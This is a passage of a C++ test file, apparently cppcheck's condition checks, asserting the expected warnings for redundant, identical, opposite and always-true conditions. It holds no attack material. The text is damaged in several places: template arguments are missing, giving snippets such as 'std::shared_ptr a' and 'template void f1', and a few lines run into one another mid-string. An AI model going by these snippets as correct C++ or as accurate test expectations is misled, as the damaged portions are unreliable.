errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string x) {\\n\"\n \" if (x == \\\"1\\\" || x == \\\"2\\\") {\\n\"\n \" if (x == \\\"1\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 || x > 3) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n }\n\n void oppositeInnerConditionEmpty() {\n check(\"void f1(const std::string &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:61]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() > 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 0) if(s.empty()) {}} \"); // <- CheckOther reports: checking if unsigned expression is less than zero\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"template void f1(const T &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str()); //We don't know the type of T so we don't know the relationship between size() and empty(). e.g. s might be a 50 tonne truck with nothing in it.\n\n check(\"void f2(const std::wstring &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:44] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(QString s) { if(s.isEmpty()) if(s.length() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:34] -> [test.cpp:1:52]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s, bool b) { if(s.empty() || ((s.size() == 1) && b)) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(x.size() > 42) if(y.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(y.empty()) if(x.size() > 42) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string v[10]) { if(v[0].size() > 42) if(v[1].empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() >= 0) if(s.empty()) {}} \"); // CheckOther says: Unsigned expression 's.size()' can't be negative so it is unnecessary to test it. [unsignedPositive]\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() <= 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() < 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionFollowVar() {\n check(\"struct X {\\n\"\n \" void f() {\\n\"\n \" const int flag = get();\\n\"\n \" if (flag) {\\n\"\n \" bar();\\n\"\n \" if (!get()) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void bar();\\n\"\n \" int get() const;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct CD {\\n\"\n \" bool state;\\n\"\n \" void foo() {\\n\"\n \" const bool flag = this->get();\\n\"\n \" if (flag) {\\n\"\n \" this->bar();\\n\"\n \" if (!this->get()) return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool get() const;\\n\"\n \" void bar();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \"public:\\n\"\n \" bool f() const { return x > 0; }\\n\"\n \" void g();\\n\"\n \" int x = 0;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::g() {\\n\"\n \" bool b = f();\\n\"\n \" x += 1;\\n\"\n \" if (!b && f()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (d != 0) {\\n\"\n \" int i = d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionLambda() {\n check(\"void f() {\\n\" // #13728\n \" for (int i = 0; i < 2;) {\\n\"\n \" auto inc = [&]() {\\n\"\n \" if (i >= 2)\\n\"\n \" throw 0;\\n\"\n \" return i++;\\n\"\n \" };\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalInnerCondition() {\n check(\"void f1(int a, int b) { if(a==b) if(a==b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"void f2(int a, int b) { if(a!=b) if(a!=b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n // #6645 false negative: condition is always false\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b) {\\n\"\n \" if(a) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:3:9]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(int a, int b) {\\n\"\n \" if(a == b) { return a == b; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:27]: (warning) Identical inner 'return' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(bool a) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(int* a, int * b) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::shared_ptr a, std::shared_ptr b) {\\n\"\n \" if(a.get()) { return a.get(); }\\n\"\n \" return b.get();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int * x; };\\n\"\n \"int* f(A a, int * b) {\\n\"\n \" if(a.x) { return a.x; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" uint32_t value;\\n\"\n \" get_value(&value);\\n\"\n \" int opt_function_capable = (value >> 28) & 1;\\n\"\n \" if (opt_function_capable) {\\n\"\n \" value = 0;\\n\"\n \" get_value (&value);\\n\"\n \" if ((value >> 28) & 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TYPE_1 \\\"a\\\"\\n\" // #13202\n \"#define TYPE_2 \\\"b\\\"\\n\"\n \"#define TYPE_3 \\\"c\\\"\\n\"\n \"void f(const std::string& s) {\\n\"\n \" if (s == TYPE_1) {}\\n\"\n \" else if (s == TYPE_2 || s == TYPE_3) {\\n\"\n \" if (s == TYPE_2) {}\\n\"\n \" else if (s == TYPE_3) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalConditionAfterEarlyExit() {\n check(\"void f(int x) {\\n\" // #8137\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x > 100) { return false; }\\n\"\n \" return x > 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Identical condition and return expression 'x>100', return value is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 || y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 && y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (abc) {}\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" while (abc) { y = x; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(check(\"void f(int x) {\\n\" // #8217 - crash for incomplete code\n \" if (x > 100) { return; }\\n\"\n \" X(do);\\n\"\n \" if (x > 100) {}\\n\"\n \"}\"),\n SYNTAX);\n\n check(\"void f(const int *i) {\\n\"\n \" if (!i) return;\\n\"\n \" if (!num1tok) { *num1 = *num2; }\\n\"\n \" if (!i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:4:7]: (warning) Identical condition '!i', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void C::f(Tree &coreTree) {\\n\" // daca\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C { void f(const Tree &coreTree); };\\n\"\n \"void C::f(const Tree &coreTree) {\\n\"\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6] -> [test.cpp:6:6]: (warning) Identical condition '!coreTree.build()', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // daca: labplot\n \" switch(type) {\\n\"\n \" case 1:\\n\"\n \" if (x == 0) return 1;\\n\"\n \" else return 2;\\n\"\n \" case 2:\\n\"\n \" if (x == 0) return 3;\\n\"\n \" else return 4;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static int failed = 0;\\n\"\n \"void f() {\\n\"\n \" if (failed) return;\\n\"\n \" checkBuffer();\\n\"\n \" if (failed) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca icu\n check(\"void f(const uint32_t *section, int32_t start) {\\n\"\n \" if(10<=section[start]) { return; }\\n\"\n \" if(++start<100 && 10<=section[start]) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca iqtree\n check(\"void readNCBITree(std::istream &in) {\\n\"\n \" char ch;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') return;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8924\n check(\"struct A {\\n\"\n \" void f() {\\n\"\n \" if (this->FileIndex >= 0) return;\\n\"\n \" this->FileIndex = 1 ;\\n\"\n \" if (this->FileIndex < 0) return;\\n\"\n \" }\\n\"\n \" int FileIndex;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:29]: (style) Condition 'this->FileIndex<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8858 - #if\n check(\"short Do() {\\n\"\n \" short ret = bar1();\\n\"\n \" if ( ret )\\n\"\n \" return ret;\\n\"\n \"#ifdef FEATURE\\n\"\n \" ret = bar2();\\n\"\n \"#endif\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10456\n check(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" auto f = [&](bool b) { if (b) ++i; };\\n\"\n \" if (i) return i;\\n\"\n \" f(true);\\n\"\n \" if (i) return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11478\n check(\"struct S {\\n\"\n \" void run();\\n\"\n \" bool b = false;\\n\"\n \" const std::function f;\\n\"\n \"};\\n\"\n \"void S::run() {\\n\"\n \" while (true) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" f(*this);\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void innerConditionModified() {\n check(\"void f(int x, int y) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * x, int * y) {\\n\"\n \" if (x[*y] == 0) {\\n\"\n \" (*y)++;\\n\"\n \" if (x[*y] == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // clarify conditions with = and comparison\n void clarifyCondition1() {\n check(\"void f() {\\n\"\n \" if (x = b() < 0) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (assignment + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" for (i = 0; i < 10; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" x = a(); if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x = b < 0 ? 1 : 2) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || (!y && z));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || !y && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!a || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant condition: a. '!a || (a && b)' is equivalent to '!a || b' [redundantCondition]\\n\", errout_str());\n\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Redundant condition: tok->next()->function(). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok2->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next(1)->function(1) ||\\n\"\n \" (tok->next(1)->function(1) && tok->next(1)->function(1)->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (style) Redundant condition: tok->next(1)->function(1). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function(1) ||\\n\"\n \" (tok->next()->function(2) && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y==0 || y!=0 && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Redundant condition: y!=0. 'y==0 || (y!=0 && z)' is equivalent to 'y==0 || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x>0 || (x<0 && y)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test Token::expressionString, TODO move this test\n check(\"void f() {\\n\"\n \" if (!dead || (dead && (*it).ticks > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Redundant condition: dead. '!dead || (dead && (*it).ticks>0)' is equivalent to '!dead || (*it).ticks>0' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!x || (x && (2>(y-1)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Redundant condition: x. '!x || (x && 2>(y-1))' is equivalent to '!x || 2>(y-1)' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a || (a && b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a || (a && b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && (a || b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a && (a || b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n }\n\n // clarify conditions with bitwise operator and comparison\n void clarifyCondition2() {\n check(\"void f() {\\n\"\n \" if (x & 3 == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Condition 'x&3==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a & fred1.x == fred2.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n , errout_str());\n }\n\n // clarify condition that uses ! operator and then bitwise operator\n void clarifyCondition3() {\n check(\"void f(int w) {\\n\"\n \" if(!w & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int w) {\\n\"\n \" if((!w) & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x == foo() & 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & x == foo()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & (x == foo())) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list &ints) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { A a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a(x there are never templates\n ASSERT_EQUALS(\"[test.c:1:17]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"class A;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (result != (char *)&inline_result) { }\\n\" // don't simplify and verify cast\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8495\n check(\"void f(bool a, bool b) {\\n\"\n \" C & a & b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition4() { // ticket #3110\n check(\"typedef double SomeType;\\n\"\n \"typedef std::pair PairType;\\n\"\n \"struct S\\n\"\n \"{\\n\"\n \" bool operator()\\n\"\n \" ( PairType const & left\\n\"\n \" , PairType const & right) const\\n\"\n \" {\\n\"\n \" return left.first < right.first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition5() { // ticket #3609 (using | in template instantiation)\n check(\"template struct CWinTraits;\\n\"\n \"CWinTraits::GetWndStyle(0);\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition6() {\n check(\"template\\n\"\n \"SharedPtr& operator=( SharedPtr const & r ) {\\n\"\n \" px = r.px;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition7() {\n // Ensure that binary and unary &, and & in declarations are distinguished properly\n check(\"void f(bool error) {\\n\"\n \" bool & withoutSideEffects=found.first->second;\\n\" // Declaring a reference to a boolean; & is no operator at all\n \" execute(secondExpression, &programMemory, &result, &error);\\n\" // Unary &\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition8() {\n // don't warn when boolean result comes from function call, array index, etc\n // the operator precedence is not unknown then\n check(\"bool a();\\n\"\n \"bool f(bool b) {\\n\"\n \" return (a() & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool *a, bool b) {\\n\"\n \" return (a[10] & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (a.a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool a; };\\n\"\n \"bool f(struct A a, bool b) {\\n\"\n \" return (A::a & b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5895() {\n check(\"void png_parse(uint64_t init, int buf_size) {\\n\"\n \" if (init == 0x89504e470d0a1a0a || init == 0x8a4d4e470d0a1a0a)\\n\"\n \" ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testBug5309() {\n check(\"extern uint64_t value;\\n\"\n \"void foo() {\\n\"\n \" if( ( value >= 0x7ff0000000000001ULL )\\n\"\n \" && ( value <= 0x7fffffffffffffffULL ) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrue() {\n\n check(\"void f(const struct S *s) {\\n\" //#8196\n \" int x1 = s->x;\\n\"\n \" int x2 = s->x;\\n\"\n \" if (x1 == 10 && x2 == 10) {}\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'x2==10' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f ()\\n\"// #8220\n \"{\\n\"\n \" int a;\\n\"\n \" int b = 0;\\n\"\n \" int ret;\\n\"\n \" \\n\"\n \" a = rand();\\n\"\n \" while (((0 < a) && (a < 2)) && ((8 < a) && (a < 10))) \\n\"\n \" {\\n\"\n \" b += a;\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \" ret = b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:27] -> [test.cpp:8:40]: (style) Condition '8 [test.cpp:2:30]: (style) Return value 'x==0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6898 (Token::expressionString)\n \" int x = 0;\\n\"\n \" A(x++ == 1);\\n\"\n \" A(x++ == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'x++==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:9]: (style) Condition 'x++==2' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"bool foo(int bar) {\\n\"\n \" bool ret = false;\\n\"\n \" if (bar == 1)\\n\"\n \" return ret;\\n\" // <- #9326 - FP condition is always false\n \" if (bar == 2)\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() == 0) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (style) Condition 's.size()==0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'buf!=0' is always true [knownConditionTrueFalse]\\n\", errout_str()); // #8924\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( !buf ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition '!buf' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" bool b = buf;\\n\"\n \" if( !b ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int * p = nullptr;\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'buf==p' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf || x ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (style) Condition 'buf' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int * p) {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" int p[42];\\n\"\n \" if( buf == p ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buf[42];\\n\"\n \" if( buf == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid FP when condition comes from macro\n check(\"#define NOT !\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a) { return; }\\n\" // <- this is just here to fool simplifyKnownVariabels\n \" if (NOT x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define M x != 0\\n\"\n \"void f() {\\n\"\n \" int x = 0;\\n\"\n \" if 